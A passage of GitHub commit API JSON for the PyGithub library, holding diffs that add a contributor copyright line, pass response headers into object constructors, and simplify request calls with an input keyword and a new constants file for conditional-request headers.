return github.Repository.Repository(self._requester, headers, data, completed=True)\n \n def get_repos(self, type=github.GithubObject.NotSet, sort=github.GithubObject.NotSet, direction=github.GithubObject.NotSet):\n \"\"\"\n@@ -855,9 +830,7 @@ def has_in_following(self, following):\n assert isinstance(following, github.NamedUser.NamedUser), following\n status, headers, data = self._requester.requestJson(\n \"GET\",\n- \"/user/following/\" + following._identity,\n- None,\n- None\n+ \"/user/following/\" + following._identity\n )\n return status == 204\n \n@@ -870,9 +843,7 @@ def has_in_starred(self, starred):\n assert isinstance(starred, github.Repository.Repository), starred\n status, headers, data = self._requester.requestJson(\n \"GET\",\n- \"/user/starred/\" + starred._identity,\n- None,\n- None\n+ \"/user/starred/\" + starred._identity\n )\n return status == 204\n \n@@ -885,9 +856,7 @@ def has_in_subscriptions(self, subscription):\n assert isinstance(subscription, github.Repository.Repository), subscription\n status, headers, data = self._requester.requestJson(\n \"GET\",\n- \"/user/subscriptions/\" + subscription._identity,\n- None,\n- None\n+ \"/user/subscriptions/\" + subscription._identity\n )\n return status == 204\n \n@@ -900,9 +869,7 @@ def has_in_watched(self, watched):\n assert isinstance(watched, github.Repository.Repository), watched\n status, headers, data = self._requester.requestJson(\n \"GET\",\n- \"/user/watched/\" + watched._identity,\n- None,\n- None\n+ \"/user/watched/\" + watched._identity\n )\n return status == 204\n \n@@ -917,8 +884,7 @@ def remove_from_emails(self, *emails):\n headers, data = self._requester.requestJsonAndCheck(\n \"DELETE\",\n \"/user/emails\",\n- None,\n- post_parameters\n+ input=post_parameters\n )\n \n def remove_from_following(self, following):\n@@ -930,9 +896,7 @@ def remove_from_following(self, following):\n assert isinstance(following, github.NamedUser.NamedUser), following\n headers, data = self._requester.requestJsonAndCheck(\n \"DELETE\",\n- \"/user/following/\" + following._identity,\n- None,\n- None\n+ \"/user/following/\" + following._identity\n )\n \n def remove_from_starred(self, starred):\n@@ -944,9 +908,7 @@ def remove_from_starred(self, starred):\n assert isinstance(starred, github.Repository.Repository), starred\n headers, data = self._requester.requestJsonAndCheck(\n \"DELETE\",\n- \"/user/starred/\" + starred._identity,\n- None,\n- None\n+ \"/user/starred/\" + starred._identity\n )\n \n def remove_from_subscriptions(self, subscription):\n@@ -958,9 +920,7 @@ def remove_from_subscriptions(self, subscription):\n assert isinstance(subscription, github.Repository.Repository), subscription\n headers, data = self._requester.requestJsonAndCheck(\n \"DELETE\",\n- \"/user/subscriptions/\" + subscription._identity,\n- None,\n- None\n+ \"/user/subscriptions/\" + subscription._identity\n )\n \n def remove_from_watched(self, watched):\n@@ -972,9 +932,7 @@ def remove_from_watched(self, watched):\n assert isinstance(watched, github.Repository.Repository), watched\n headers, data = self._requester.requestJsonAndCheck(\n \"DELETE\",\n- \"/user/watched/\" + watched._identity,\n- None,\n- None\n+ \"/user/watched/\" + watched._identity\n )\n \n def _initAttributes(self):\n@@ -1061,7 +1019,7 @@ def _useAttributes(self, attributes):\n self._owned_private_repos = attributes[\"owned_private_repos\"]\n if \"plan\" in attributes: # pragma no branch\n assert attributes[\"plan\"] is None or isinstance(attributes[\"plan\"], dict), attributes[\"plan\"]\n- self._plan = None if attributes[\"plan\"] is None else github.Plan.Plan(self._requester, attributes[\"plan\"], completed=False)\n+ self._plan = None if attributes[\"plan\"] is None else github.Plan.Plan(self._requester, self._headers, attributes[\"plan\"], completed=False)\n if \"private_gists\" in attributes: # pragma no branch\n assert attributes[\"private_gists\"] is None or isinstance(attributes[\"private_gists\"], (int, long)), attributes[\"private_gists\"]\n self._private_gists = attributes[\"private_gists\"]"},{"sha":"a004fedf687cdbcd52f4ffd494b9e4536bbb037b","filename":"github/Authorization.py","status":"modified","additions":4,"deletions":6,"changes":10,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/Authorization.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/Authorization.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/Authorization.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # #\n # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #\n@@ -112,9 +113,7 @@ def delete(self):\n \"\"\"\n headers, data = self._requester.requestJsonAndCheck(\n \"DELETE\",\n- self.url,\n- None,\n- None\n+ self.url\n )\n \n def edit(self, scopes=github.GithubObject.NotSet, add_scopes=github.GithubObject.NotSet, remove_scopes=github.GithubObject.NotSet, note=github.GithubObject.NotSet, note_url=github.GithubObject.NotSet):\n@@ -146,8 +145,7 @@ def edit(self, scopes=github.GithubObject.NotSet, add_scopes=github.GithubObject\n headers, data = self._requester.requestJsonAndCheck(\n \"PATCH\",\n self.url,\n- None,\n- post_parameters\n+ input=post_parameters\n )\n self._useAttributes(data)\n \n@@ -165,7 +163,7 @@ def _initAttributes(self):\n def _useAttributes(self, attributes):\n if \"app\" in attributes: # pragma no branch\n assert attributes[\"app\"] is None or isinstance(attributes[\"app\"], dict), attributes[\"app\"]\n- self._app = None if attributes[\"app\"] is None else github.AuthorizationApplication.AuthorizationApplication(self._requester, attributes[\"app\"], completed=False)\n+ self._app = None if attributes[\"app\"] is None else github.AuthorizationApplication.AuthorizationApplication(self._requester, self._headers, attributes[\"app\"], completed=False)\n if \"created_at\" in attributes: # pragma no branch\n assert attributes[\"created_at\"] is None or isinstance(attributes[\"created_at\"], str), attributes[\"created_at\"]\n self._created_at = self._parseDatetime(attributes[\"created_at\"])"},{"sha":"8f38bc1418f4b14e16da2ea24cd8a0fd525b872a","filename":"github/AuthorizationApplication.py","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/AuthorizationApplication.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/AuthorizationApplication.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/AuthorizationApplication.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # #\n # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #"},{"sha":"9e76182677f02c87b49e51a0139112421d53bf59","filename":"github/Branch.py","status":"modified","additions":2,"deletions":1,"changes":3,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/Branch.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/Branch.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/Branch.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # Copyright 2013 martinqt #\n # #\n@@ -55,7 +56,7 @@ def _initAttributes(self):\n def _useAttributes(self, attributes):\n if \"commit\" in attributes: # pragma no branch\n assert attributes[\"commit\"] is None or isinstance(attributes[\"commit\"], dict), attributes[\"commit\"]\n- self._commit = None if attributes[\"commit\"] is None else github.Commit.Commit(self._requester, attributes[\"commit\"], completed=False)\n+ self._commit = None if attributes[\"commit\"] is None else github.Commit.Commit(self._requester, self._headers, attributes[\"commit\"], completed=False)\n if \"name\" in attributes: # pragma no branch\n assert attributes[\"name\"] is None or isinstance(attributes[\"name\"], str), attributes[\"name\"]\n self._name = attributes[\"name\"]"},{"sha":"828da3fe18f120b030701d48a9a78be17ef143e8","filename":"github/Commit.py","status":"modified","additions":11,"deletions":12,"changes":23,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/Commit.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/Commit.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/Commit.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # Copyright 2013 martinqt #\n # #\n@@ -129,10 +130,9 @@ def create_comment(self, body, line=github.GithubObject.NotSet, path=github.Gith\n headers, data = self._requester.requestJsonAndCheck(\n \"POST\",\n self.url + \"/comments\",\n- None,\n- post_parameters\n+ input=post_parameters\n )\n- return github.CommitComment.CommitComment(self._requester, data, completed=True)\n+ return github.CommitComment.CommitComment(self._requester, headers, data, completed=True)\n \n def create_status(self, state, target_url=github.GithubObject.NotSet, description=github.GithubObject.NotSet):\n \"\"\"\n@@ -155,10 +155,9 @@ def create_status(self, state, target_url=github.GithubObject.NotSet, descriptio\n headers, data = self._requester.requestJsonAndCheck(\n \"POST\",\n self._parentUrl(self._parentUrl(self.url)) + \"/statuses/\" + self.sha,\n- None,\n- post_parameters\n+ input=post_parameters\n )\n- return github.CommitStatus.CommitStatus(self._requester, data, completed=True)\n+ return github.CommitStatus.CommitStatus(self._requester, headers, data, completed=True)\n \n def get_comments(self):\n \"\"\"\n@@ -201,23 +200,23 @@ def _initAttributes(self):\n def _useAttributes(self, attributes):\n if \"author\" in attributes: # pragma no branch\n assert attributes[\"author\"] is None or isinstance(attributes[\"author\"], dict), attributes[\"author\"]\n- self._author = None if attributes[\"author\"] is None else github.NamedUser.NamedUser(self._requester, attributes[\"author\"], completed=False)\n+ self._author = None if attributes[\"author\"] is None else github.NamedUser.NamedUser(self._requester, self._headers, attributes[\"author\"], completed=False)\n if \"commit\" in attributes: # pragma no branch\n assert attributes[\"commit\"] is None or isinstance(attributes[\"commit\"], dict), attributes[\"commit\"]\n- self._commit = None if attributes[\"commit\"] is None else github.GitCommit.GitCommit(self._requester, attributes[\"commit\"], completed=False)\n+ self._commit = None if attributes[\"commit\"] is None else github.GitCommit.GitCommit(self._requester, self._headers, attributes[\"commit\"], completed=False)\n if \"committer\" in attributes: # pragma no branch\n assert attributes[\"committer\"] is None or isinstance(attributes[\"committer\"], dict), attributes[\"committer\"]\n- self._committer = None if attributes[\"committer\"] is None else github.NamedUser.NamedUser(self._requester, attributes[\"committer\"], completed=False)\n+ self._committer = None if attributes[\"committer\"] is None else github.NamedUser.NamedUser(self._requester, self._headers, attributes[\"committer\"], completed=False)\n if \"files\" in attributes: # pragma no branch\n assert attributes[\"files\"] is None or all(isinstance(element, dict) for element in attributes[\"files\"]), attributes[\"files\"]\n self._files = None if attributes[\"files\"] is None else [\n- github.File.File(self._requester, element, completed=False)\n+ github.File.File(self._requester, self._headers, element, completed=False)\n for element in attributes[\"files\"]\n ]\n if \"parents\" in attributes: # pragma no branch\n assert attributes[\"parents\"] is None or all(isinstance(element, dict) for element in attributes[\"parents\"]), attributes[\"parents\"]\n self._parents = None if attributes[\"parents\"] is None else [\n- Commit(self._requester, element, completed=False)\n+ Commit(self._requester, self._headers, element, completed=False)\n for element in attributes[\"parents\"]\n ]\n if \"sha\" in attributes: # pragma no branch\n@@ -225,7 +224,7 @@ def _useAttributes(self, attributes):\n self._sha = attributes[\"sha\"]\n if \"stats\" in attributes: # pragma no branch\n assert attributes[\"stats\"] is None or isinstance(attributes[\"stats\"], dict), attributes[\"stats\"]\n- self._stats = None if attributes[\"stats\"] is None else github.CommitStats.CommitStats(self._requester, attributes[\"stats\"], completed=False)\n+ self._stats = None if attributes[\"stats\"] is None else github.CommitStats.CommitStats(self._requester, self._headers, attributes[\"stats\"], completed=False)\n if \"url\" in attributes: # pragma no branch\n assert attributes[\"url\"] is None or isinstance(attributes[\"url\"], str), attributes[\"url\"]\n self._url = attributes[\"url\"]"},{"sha":"c2c897d13f4092571b2a71f83694e34ff26c560d","filename":"github/CommitComment.py","status":"modified","additions":4,"deletions":6,"changes":10,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/CommitComment.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/CommitComment.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/CommitComment.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # #\n # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #\n@@ -128,9 +129,7 @@ def delete(self):\n \"\"\"\n headers, data = self._requester.requestJsonAndCheck(\n \"DELETE\",\n- self.url,\n- None,\n- None\n+ self.url\n )\n \n def edit(self, body):\n@@ -146,8 +145,7 @@ def edit(self, body):\n headers, data = self._requester.requestJsonAndCheck(\n \"PATCH\",\n self.url,\n- None,\n- post_parameters\n+ input=post_parameters\n )\n self._useAttributes(data)\n \n@@ -197,4 +195,4 @@ def _useAttributes(self, attributes):\n self._url = attributes[\"url\"]\n if \"user\" in attributes: # pragma no branch\n assert attributes[\"user\"] is None or isinstance(attributes[\"user\"], dict), attributes[\"user\"]\n- self._user = None if attributes[\"user\"] is None else github.NamedUser.NamedUser(self._requester, attributes[\"user\"], completed=False)\n+ self._user = None if attributes[\"user\"] is None else github.NamedUser.NamedUser(self._requester, self._headers, attributes[\"user\"], completed=False)"},{"sha":"49f407783d025f012358c435ec1153d293856bef","filename":"github/CommitStats.py","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/CommitStats.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/CommitStats.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/CommitStats.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # #\n # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #"},{"sha":"d08e0274279824208d98b1dd4033f18b970f594a","filename":"github/CommitStatus.py","status":"modified","additions":2,"deletions":1,"changes":3,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/CommitStatus.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/CommitStatus.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/CommitStatus.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # #\n # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #\n@@ -97,7 +98,7 @@ def _useAttributes(self, attributes):\n self._created_at = self._parseDatetime(attributes[\"created_at\"])\n if \"creator\" in attributes: # pragma no branch\n assert attributes[\"creator\"] is None or isinstance(attributes[\"creator\"], dict), attributes[\"creator\"]\n- self._creator = None if attributes[\"creator\"] is None else github.NamedUser.NamedUser(self._requester, attributes[\"creator\"], completed=False)\n+ self._creator = None if attributes[\"creator\"] is None else github.NamedUser.NamedUser(self._requester, self._headers, attributes[\"creator\"], completed=False)\n if \"description\" in attributes: # pragma no branch\n assert attributes[\"description\"] is None or isinstance(attributes[\"description\"], str), attributes[\"description\"]\n self._description = attributes[\"description\"]"},{"sha":"f5f66bc1f4bcb57c9286fb674e4bfdbaaf47538f","filename":"github/Comparison.py","status":"modified","additions":4,"deletions":3,"changes":7,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/Comparison.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/Comparison.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/Comparison.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # #\n # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #\n@@ -150,14 +151,14 @@ def _useAttributes(self, attributes):\n self._ahead_by = attributes[\"ahead_by\"]\n if \"base_commit\" in attributes: # pragma no branch\n assert attributes[\"base_commit\"] is None or isinstance(attributes[\"base_commit\"], dict), attributes[\"base_commit\"]\n- self._base_commit = None if attributes[\"base_commit\"] is None else github.Commit.Commit(self._requester, attributes[\"base_commit\"], completed=False)\n+ self._base_commit = None if attributes[\"base_commit\"] is None else github.Commit.Commit(self._requester, self._headers, attributes[\"base_commit\"], completed=False)\n if \"behind_by\" in attributes: # pragma no branch\n assert attributes[\"behind_by\"] is None or isinstance(attributes[\"behind_by\"], (int, long)), attributes[\"behind_by\"]\n self._behind_by = attributes[\"behind_by\"]\n if \"commits\" in attributes: # pragma no branch\n assert attributes[\"commits\"] is None or all(isinstance(element, dict) for element in attributes[\"commits\"]), attributes[\"commits\"]\n self._commits = None if attributes[\"commits\"] is None else [\n- github.Commit.Commit(self._requester, element, completed=False)\n+ github.Commit.Commit(self._requester, self._headers, element, completed=False)\n for element in attributes[\"commits\"]\n ]\n if \"diff_url\" in attributes: # pragma no branch\n@@ -166,7 +167,7 @@ def _useAttributes(self, attributes):\n if \"files\" in attributes: # pragma no branch\n assert attributes[\"files\"] is None or all(isinstance(element, dict) for element in attributes[\"files\"]), attributes[\"files\"]\n self._files = None if attributes[\"files\"] is None else [\n- github.File.File(self._requester, element, completed=False)\n+ github.File.File(self._requester, self._headers, element, completed=False)\n for element in attributes[\"files\"]\n ]\n if \"html_url\" in attributes: # pragma no branch"},{"sha":"b3b4791408f3b48375ba7360ef7aa129c592bd24","filename":"github/Consts.py","status":"added","additions":43,"deletions":0,"changes":43,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/Consts.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/Consts.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/Consts.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -0,0 +1,43 @@\n+# -*- coding: utf-8 -*-\n+\n+############################ Copyrights and license ############################\n+# #\n+# Copyright 2013 AKFish #\n+# #\n+# This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #\n+# #\n+# PyGithub is free software: you can redistribute it and/or modify it under #\n+# the terms of the GNU Lesser General Public License as published by the Free #\n+# Software Foundation, either version 3 of the License, or (at your option) #\n+# any later version. #\n+# #\n+# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY #\n+# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS #\n+# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more #\n+# details. #\n+# #\n+# You should have received a copy of the GNU Lesser General Public License #\n+# along with PyGithub. If not, see . #\n+# #\n+################################################################################\n+\n+# #193: Line endings should be linux style\n+\n+# TODO: As of Thu Aug 21 22:40:13 (BJT) Chinese Standard Time 2013\n+# lots of consts in this project are explict\n+# should realy round them up and reference them by consts\n+# EDIT: well, maybe :-)\n+\n+################################################################################\n+# Request Header #\n+# (Case sensitive) #\n+################################################################################\n+REQ_IF_NONE_MATCH = \"If-None-Match\"\n+REQ_IF_MODIFIED_SINCE = \"If-Modified-Since\"\n+\n+################################################################################\n+# Response Header #\n+# (Lower Case) #\n+################################################################################\n+RES_ETAG = \"etag\"\n+RES_LAST_MODIFED = \"last-modified\""},{"sha":"03818842545b0c6824e8ab4f1e5b1c87462cba6a","filename":"github/ContentFile.py","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/ContentFile.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/ContentFile.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/ContentFile.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # #\n # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #"},{"sha":"2cd057cac916898be1451aac7b4f94830a880937","filename":"github/Download.py","status":"modified","additions":2,"deletions":3,"changes":5,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/Download.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/Download.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/Download.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # #\n # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #\n@@ -198,9 +199,7 @@ def delete(self):\n \"\"\"\n headers, data = self._requester.requestJsonAndCheck(\n \"DELETE\",\n- self.url,\n- None,\n- None\n+ self.url\n )\n \n def _initAttributes(self):"},{"sha":"203510252bb0e76c540d3bc20630e75ef99ecb31","filename":"github/Event.py","status":"modified","additions":4,"deletions":3,"changes":7,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/Event.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/Event.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/Event.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # Copyright 2013 martinqt #\n # #\n@@ -105,7 +106,7 @@ def _initAttributes(self):\n def _useAttributes(self, attributes):\n if \"actor\" in attributes: # pragma no branch\n assert attributes[\"actor\"] is None or isinstance(attributes[\"actor\"], dict), attributes[\"actor\"]\n- self._actor = None if attributes[\"actor\"] is None else github.NamedUser.NamedUser(self._requester, attributes[\"actor\"], completed=False)\n+ self._actor = None if attributes[\"actor\"] is None else github.NamedUser.NamedUser(self._requester, self._headers, attributes[\"actor\"], completed=False)\n if \"created_at\" in attributes: # pragma no branch\n assert attributes[\"created_at\"] is None or isinstance(attributes[\"created_at\"], str), attributes[\"created_at\"]\n self._created_at = self._parseDatetime(attributes[\"created_at\"])\n@@ -114,7 +115,7 @@ def _useAttributes(self, attributes):\n self._id = attributes[\"id\"]\n if \"org\" in attributes: # pragma no branch\n assert attributes[\"org\"] is None or isinstance(attributes[\"org\"], dict), attributes[\"org\"]\n- self._org = None if attributes[\"org\"] is None else github.Organization.Organization(self._requester, attributes[\"org\"], completed=False)\n+ self._org = None if attributes[\"org\"] is None else github.Organization.Organization(self._requester, self._headers, attributes[\"org\"], completed=False)\n if \"payload\" in attributes: # pragma no branch\n assert attributes[\"payload\"] is None or isinstance(attributes[\"payload\"], dict), attributes[\"payload\"]\n self._payload = attributes[\"payload\"]\n@@ -123,7 +124,7 @@ def _useAttributes(self, attributes):\n self._public = attributes[\"public\"]\n if \"repo\" in attributes: # pragma no branch\n assert attributes[\"repo\"] is None or isinstance(attributes[\"repo\"], dict), attributes[\"repo\"]\n- self._repo = None if attributes[\"repo\"] is None else github.Repository.Repository(self._requester, attributes[\"repo\"], completed=False)\n+ self._repo = None if attributes[\"repo\"] is None else github.Repository.Repository(self._requester, self._headers, attributes[\"repo\"], completed=False)\n if \"type\" in attributes: # pragma no branch\n assert attributes[\"type\"] is None or isinstance(attributes[\"type\"], str), attributes[\"type\"]\n self._type = attributes[\"type\"]"},{"sha":"6adaae8a974440b489b2913d515a32488f8c252f","filename":"github/File.py","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/File.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/File.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/File.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # #\n # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #"},{"sha":"65de668ed8da2c379cc88c0515024aa3d4c7164e","filename":"github/Gist.py","status":"modified","additions":17,"deletions":30,"changes":47,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/Gist.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/Gist.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/Gist.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -5,6 +5,7 @@\n # Copyright 2012 Steve English #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # #\n # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #\n@@ -171,23 +172,20 @@ def create_comment(self, body):\n headers, data = self._requester.requestJsonAndCheck(\n \"POST\",\n self.url + \"/comments\",\n- None,\n- post_parameters\n+ input=post_parameters\n )\n- return github.GistComment.GistComment(self._requester, data, completed=True)\n+ return github.GistComment.GistComment(self._requester, headers, data, completed=True)\n \n def create_fork(self):\n \"\"\"\n- :calls: `POST /gists/:id/fork `_\n+ :calls: `POST /gists/:id/forks `_\n :rtype: :class:`github.Gist.Gist`\n \"\"\"\n headers, data = self._requester.requestJsonAndCheck(\n \"POST\",\n- self.url + \"/fork\",\n- None,\n- None\n+ self.url + \"/forks\"\n )\n- return Gist(self._requester, data, completed=True)\n+ return Gist(self._requester, headers, data, completed=True)\n \n def delete(self):\n \"\"\"\n@@ -196,9 +194,7 @@ def delete(self):\n \"\"\"\n headers, data = self._requester.requestJsonAndCheck(\n \"DELETE\",\n- self.url,\n- None,\n- None\n+ self.url\n )\n \n def edit(self, description=github.GithubObject.NotSet, files=github.GithubObject.NotSet):\n@@ -218,8 +214,7 @@ def edit(self, description=github.GithubObject.NotSet, files=github.GithubObject\n headers, data = self._requester.requestJsonAndCheck(\n \"PATCH\",\n self.url,\n- None,\n- post_parameters\n+ input=post_parameters\n )\n self._useAttributes(data)\n \n@@ -232,11 +227,9 @@ def get_comment(self, id):\n assert isinstance(id, (int, long)), id\n headers, data = self._requester.requestJsonAndCheck(\n \"GET\",\n- self.url + \"/comments/\" + str(id),\n- None,\n- None\n+ self.url + \"/comments/\" + str(id)\n )\n- return github.GistComment.GistComment(self._requester, data, completed=True)\n+ return github.GistComment.GistComment(self._requester, headers, data, completed=True)\n \n def get_comments(self):\n \"\"\"\n@@ -257,9 +250,7 @@ def is_starred(self):\n \"\"\"\n status, headers, data = self._requester.requestJson(\n \"GET\",\n- self.url + \"/star\",\n- None,\n- None\n+ self.url + \"/star\"\n )\n return status == 204\n \n@@ -270,9 +261,7 @@ def reset_starred(self):\n \"\"\"\n headers, data = self._requester.requestJsonAndCheck(\n \"DELETE\",\n- self.url + \"/star\",\n- None,\n- None\n+ self.url + \"/star\"\n )\n \n def set_starred(self):\n@@ -282,9 +271,7 @@ def set_starred(self):\n \"\"\"\n headers, data = self._requester.requestJsonAndCheck(\n \"PUT\",\n- self.url + \"/star\",\n- None,\n- None\n+ self.url + \"/star\"\n )\n \n def _initAttributes(self):\n@@ -317,12 +304,12 @@ def _useAttributes(self, attributes):\n if \"files\" in attributes: # pragma no branch\n assert attributes[\"files\"] is None or all(isinstance(element, dict) for element in attributes[\"files\"].itervalues()), attributes[\"files\"]\n self._files = None if attributes[\"files\"] is None else dict(\n- (key, github.GistFile.GistFile(self._requester, element, completed=False))\n+ (key, github.GistFile.GistFile(self._requester, self._headers, element, completed=False))\n for key, element in attributes[\"files\"].iteritems()\n )\n if \"fork_of\" in attributes: # pragma no branch\n assert attributes[\"fork_of\"] is None or isinstance(attributes[\"fork_of\"], dict), attributes[\"fork_of\"]\n- self._fork_of = None if attributes[\"fork_of\"] is None else Gist(self._requester, attributes[\"fork_of\"], completed=False)\n+ self._fork_of = None if attributes[\"fork_of\"] is None else Gist(self._requester, self._headers, attributes[\"fork_of\"], completed=False)\n if \"forks\" in attributes: # pragma no branch\n assert attributes[\"forks\"] is None or all(isinstance(element, dict) for element in attributes[\"forks\"]), attributes[\"forks\"]\n self._forks = None if attributes[\"forks\"] is None else [\n@@ -338,7 +325,7 @@ def _useAttributes(self, attributes):\n if \"history\" in attributes: # pragma no branch\n assert attributes[\"history\"] is None or all(isinstance(element, dict) for element in attributes[\"history\"]), attributes[\"history\"]\n self._history = None if attributes[\"history\"] is None else [\n- 